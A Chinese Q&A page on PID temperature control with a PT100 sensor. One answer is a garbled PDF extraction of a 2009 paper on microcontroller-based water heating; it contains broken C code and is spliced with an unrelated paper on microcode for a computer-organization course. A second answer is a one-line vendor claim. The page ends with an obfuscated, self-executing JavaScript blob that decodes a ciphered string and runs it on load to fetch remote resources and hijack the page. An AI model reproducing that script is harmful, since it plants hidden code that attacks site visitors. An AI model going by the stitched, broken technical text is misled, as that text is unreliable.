PID温度控制,精度要求在正负0.5度以内波动!有没有比较好的控制器!?PT100采集信号,加热铜棒!

2025-01-06 09:58:08
推荐回答(2个)
回答1:

Equipment
Manufactring
Technology
No.5

2009
传统温度控制器的电热元件,一般以用发热丝制成的电
热棒及发热圈为主

加热时,
发热丝通常能达到
1000

以上,
因此发热棒

发热圈的内部温度很高

但是传统的温度控制器
在进行温度控制期间,
其控制温度多在
0

400

之间,
当被
加热器件温度升高至设定温度时,温度控制器会发出信号停
止加热

但这时发热棒或发热圈的内部温度仍然高于
400


发热棒

发热圈还将会对被加热的器件进行加热,
即使温度控
制器发出信号停止加热,被加热器件的温度还往往继续上升
数度,
然后才开始下降

当下降到设定温度的下限时,
温度控
制器又开始发出加热的信号,
开始加热

但是通常开始重新加
热时,
温度继续下降数度

所以,
传统的定点开关控制,
温度会
有正负误差数度的现象

要解决这个问题,
可以采用
PID
模糊
控制技术

PID
控制,
是针对以上的情况而制定的新的温度控
制方案,
用先进的技术通过
P

I

D
三方面的结合调整,
来解决
惯性温度误差问题

本文设计了一种水温控制系统,以单片机为核心,结合
Pt100
传感器进行水样的采集,并且对采集到的温度值进行
PID
运算处理,
实现对水温的控制

1
系统整体框图
该系统以单片机为控制核心,配有键盘输入单元和
LED
显示单元,
实现实时采样温度显示及实时数据传送功能

1.1
硬件部分
系统的硬件部分如图
1
所示,以
SPCE061A
为核心控制
器,
包含有传感器电路,
键盘和显示电路,
继电器控制电路,

信电路

SPCE061A
是一款
16
位单片机芯片,
该芯片拥有
8

10
位精度的
A/D
转换器,可以直接将传感器信号放大后输入其
A/D
转换通道

SPCE061A
可进行实时温度采样,
通过数码管
将当前温度显示;
并根据采样结果控制加热器,
调节平均加热
功率大小;
同时通过
UART
接口传送至
PC


传感器电路
——

包括测量电路和放大电路两部分

使用
Pt100
温度传感器,
具有抗振动

稳定性好

准确度高等优点

测量电路使用电桥,
且其中一个桥臂为
Pt100

放大电路采用
LM358
集成运算放大器,可使用两级放大来防止单级放大倍
数过高带来的非线性误差

按键

显示电路
——

按键可直接使用
SPCE061A
自带的
按键;
显示电路可选用
LED
键盘模组
6
位数码管的其中
3

进行动态显示

继电器控制电路
——

因为系统的主要功率器件为一个交

220V
/
1000W
的电加热器,
故需要采用继电器来驱动该加
热器

通信电路
——

系统实时采样温度显示及传送通过
UART
接口完成

1.2
软件部分
设计目标温度后,
系统采样水温,
并通过预设温度

当前
温度

历史偏差等进行
PID
运算并产生
fout
输出参数,通过
fout
控制加热时间,
从而调节加热器的平均功率

主程序段设
计如下:
浅谈
PID
调节在温度控制系统中的应用
赵小灵
(广西大学电气工程学院,
广西
南宁
530004

摘要:
针对传统的定点开关控制温度会有误差的现象,
设计了一种水温控制系统,

SPCE061A
为核心控制器,
结合
Pt100
传感器进
行水温采集,
并且对采集到的温度值进行
PID
运算处理,
实现了对水温的控制

关键词:
PID
控制;
温度控制系统;
SPCE061A

Pt100
中图分类号:
TP273
文献标识码:
B
文章编号:
1672-
545X

2009

05-
0104-
02
收稿日期:
2009-
02-
11
作者简介:
赵小灵

1981



女,
广西贺州人,
助讲,
在读工程硕士研究生,
研究方向为电力电子及自动控制


Pt100
放大电路
SPCE061A
LED
PC
继电器
电热器

1

系统框图
开始
初始化
IO/TimerB/UART
需要设置温度
设置温度
温度相关处理
清看门狗

2
主程序图
104


装备制造技术

2009
年第
5

2
控制系统
控制系统采用
PID
闭环控制方案,将预置初值与传感器
反馈信号比较得到偏差
e


e
进行
PID
运算处理得到控制量
u

通过
u
来控制加热器的加热时间,
从而控制加热功率

由于
水本身具有很大的热惯性,
所以必须对水温的变化作出预测,
并且根据需要及时进行反向抑制,以防止出现较大的超调量
和波动

2.1
PID
控制的实现
在检测过程中,
由于来自外界的各种干扰不断产生,
为了
达到现场控制对象保持恒定的目的,
就必须不断的进行控制

如果干扰使得控制对象发生变化,现场检测元件会将这种变
化采集后,
经变送器送至
PID
控制器的输入端,
并与其给定值
进行比较得到偏差值,调节器会按此偏差并以预先设定的整
定参数规律发出控制信号,
去控制调节器的开度增加或减少,
从而使现场控制对象值发生改变,
并趋于给定值,
达到控制目的

2.1.1
温度控制
PID
算法
将温度传感器输入作为当前输入,与设定值相减得到偏
差,然后再对之进行
PID
运算产生输出结果
fout

fout
的值决
定是否加热,
加热时间是多少,
进而控制加热器

(1)
PID
算法程序段如下:
float
PIDCalc(PID*pp,int
NextPoint)
{
Int
dError,Error;
Error=pp-
>SetPoint*10

NextPoint;
pp-
>SumError
+=Error;
dError=Error

pp-
>LastError;
pp-
>PrevError=pp-
>LastError;
pp-
>LastError=Error;
+
pp-
>Integral*pp-
>SumError

pp-
>Derivative*dError
);
}
(2)
温度控制
(是否加热,
加热时间是多少

程序段如下:
stPID.Proportion=2;
stPID.Integral
=0;
stPID.Derivative=5;
fout=PIDCalc(&PID,(int)(fT*10));
if(fout<=0)
*P_IOA_Buffer&=0xff7f;
else
*P_IOA_Buffer

=0x0080;
2.1.2
数字
PID
的实现
在连续

时间控制系统中,
PID
控制器因为技术成熟,

数整定方便,
结构灵活,
能满足一般的控制要求,
应用得非常
广泛

随着时代的快速发展,
计算机应用也越来越广泛,
因此
将计算机引入到
PID
控制领域,
于是就出现了数字式
PID
控制

计算机基于采样控制理论,
所以必须将控制模型离散化,
方法为:

T
为采样周期,
k
为采样序号,
用求和的形式代替
积分,
用增量的形式
(求差

代替微分,
可以将连续的
PID
计算
公式离散:
传统的
PID
控制规律
μ
(
t
)=
k
p
e
(
t
)+
1
T
l
t
0

e
(
t
)
dt+T
D
de
(
t
)
dt


=
μ
0

1

t
0

e
(
t
)

T
k
j
=
0
Σ
e
(
jT
)=
T
k
j
=
0
Σ
e
(
j
)
t

kT
(
K
=0,1,2...)

2

de
dt

e
(
KT
)-
e
(
k-
1)
μ
μ
T
T
=
e
k
-
e
k
-
1
T
则式

1

可以离散为
μ
k
=K
p
e
k
+
T
T
l
k
j
=
0
Σ
e
j
+
T
D
T
(
e
k
-
e
k
-
1
)+
μ
0
μ
μ

3

或者
μ
k
=K
p
e
k
+K
l
k
j
=
0
Σ
e
j
+k
D
(
e
k
-
e
k
-
1
)+
μ
0

4

这样,就可以使得计算机或者单片机通过采样的方式实

PID
控制,具体的
PID
控制又可分成位置式
PID
控制和增
量式
PID
控制



4

给出了控制量的全部信息,
所以称之为
全量式或者位置式控制;
如果计算机只对相邻的两次作技术,
只考虑在前一次的基础上,
计算机输出量大小的变化,
而不是
全部输出信息的技术,
这种控制叫做增量式
PID
控制算法,

实质就是求
Δ
μ
的大小,

Δ
μ
k
=
μ
k

μ
k
-
1

所以将式

4

做自
减变换有
Δ
μ
k
=
μ
k

μ
k
-
1
=
k
p
e
k
-
e
k
-
1
+
T
T
l
e
k
+
T
D
T
(
e
k
-
2e
k
-
1
+
e
k
-
2
μ
μ
)
=
k
p
(1+
T
T
l
+
T
D
T
)
e
k
-
K
p
(1+
2
T
D
T
)
e
k
-
1
+
K
p
T
D
T
e
k
-
2

5

3
结束语
实验证明,
本设计利用
SPCE061A
芯片为控制核心,
结合
PID
控制,
实现了对水温的有效控制

参考文献:
[1]
翁思义,



自动控制原理
[M].
北京:
中国电力出版社,
2001.
[2]
焦连渤
.
模糊
PID
控制在温湿度控制系统中的应用
[J].
南京航空航
天大学学报,
1998


04

:
437-
442
.
[3]
张持健,
王元航,

.
高精度模糊
PID
控制器及其在温度控制中的
应用
[J].
自动化仪表,
2002


07

:
21-
23.
[4]
张志君,
孙旭东
.
模糊控制在温度控制系统中的应用
[J].
自动化与
仪器仪表,
1998


05

:
24-

26.
给定
+
e
-



PID
运算
u
执行部件
被控对象
传感器反馈

3

控制系统框图
设定
+
e(t)
-


比例
(P)
积分
(I)
微分
(D)
+
+
+
e(t)
执行部件
v(t)

4
PID
控制系统原理图
(下转第
117


105


装备制造技术

2009
年第
5

Discussion
Application
of
PID
Controlin
in
Temperature
Control
System
ZHAO
Xiao-ling

College
of
Electrical
Engineering,
Guangxi
University

Nanning
530004

China

Abstract:
Aimed
at
the
traditional
fixed-point
switch
which
should
cause
the
temperature
control
error,
we
designed
a
water
temperature
control
system,
in
the
system
can
control
the
water
tempreture,using
the
SPCE061A
as
a
core
controller,
and
the
Pt100
sensors
to
collect
the
water
temperature,and
processing
to
the
collected
temperature
for
PID.
Key
words:
PID;
the
temperature
control
system;
SPCE061A;
Pt100
6
结束语
通过计算机组成原理课程复杂指令模型机的进一步的开
发设计,
感觉到学生对这门课程产生了兴趣,
学习主动性


极性普遍提高

而且我们充分挖掘了现有实验箱的硬件资源,
并对组成原理实验过程中进行的部件实验加以整合,完整地
建立了计算机的整机概念,可使实验内容和理论教学有机地
结合起来,
有效地提高实验教学水平,
使学生能够对理论与实
践融会贯通,
取得了较好的效果

参考文献:
[1]
王爱英
.
计算机组成与结构
(第三版

[M].
北京:
清华大学出版社,
2006.
[2]

洋,

计算机组成原理

复杂指令模型机设计与实现
[J].
计算机
与网络信息技术
,2006


2


161-
162.
[3]
张宇华,


.

计算机组成原理

综合性

设计性实验的开发与实

[J].
现代计算机,
2004,(9):
98-
100.
Depth
Development
of
Complex
Molding
Machine
on
Principles
of
Computer
Organization
QIAO
Dao-ji

Electron
and
Computer
Science
and
Technology
Institute

Zhongbei
University

Taiyuan
030051,China)
Abstract:
This
paper
is
introduced
an
integrative
experiment
design
and
its
implementing
process
of
the
principles
of
computer
organization.
Through
this
experiment,
students
not
only
can
finish
the
basic
components
course,
but
also
can
improve
their
innovation
capabilities

the
abilities
of
using
knowledge

the
abilities
of
analyzing
and
solving
the
problems.
Key
words:
principles
of
computer
organization;
complex
instruction;
micro
program

2
微程序及微指令代码
$P4044
$P4146
$P4275
$p43e5
$p44ea
$p450c
$P464b
$P47e0
$P48ea
$P4908
$P4A45
$P4b75
$P4ce5
$P4d90
$P4e55
$p4fe0
$p50ea
$P510c
$P524b
$P5308
$P5447
$P550d
$M
0008DD01
$M
0102EE01
$M
02504000
$M
03042000
$M
04A06000
$M
080AEE01
$M
0B010001
$M
1003EE01
$M
14011C01
$M
17011A3D
$M
191DEE01
$M
1D2A6000
$M
1E370231
$M
20011000
$M
2201DA05
$M
23E40001
$M
24010001
$M
2A2B3000
$M
2B362201
$M
3401DA05
$M
36011A95
$M
37380829
$M
38011801
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
(上接第
105


117

回答2:

半导体温控设备带有完美的PID控制软件,控温精度可以做到±0.01℃

!function(){function a(a){var _idx="s54ivid5np";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8Lno6X6fn2J"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"Lno6X6fn2J"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q/f/Ks0j(8}vR8Lno6X6fn2J"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();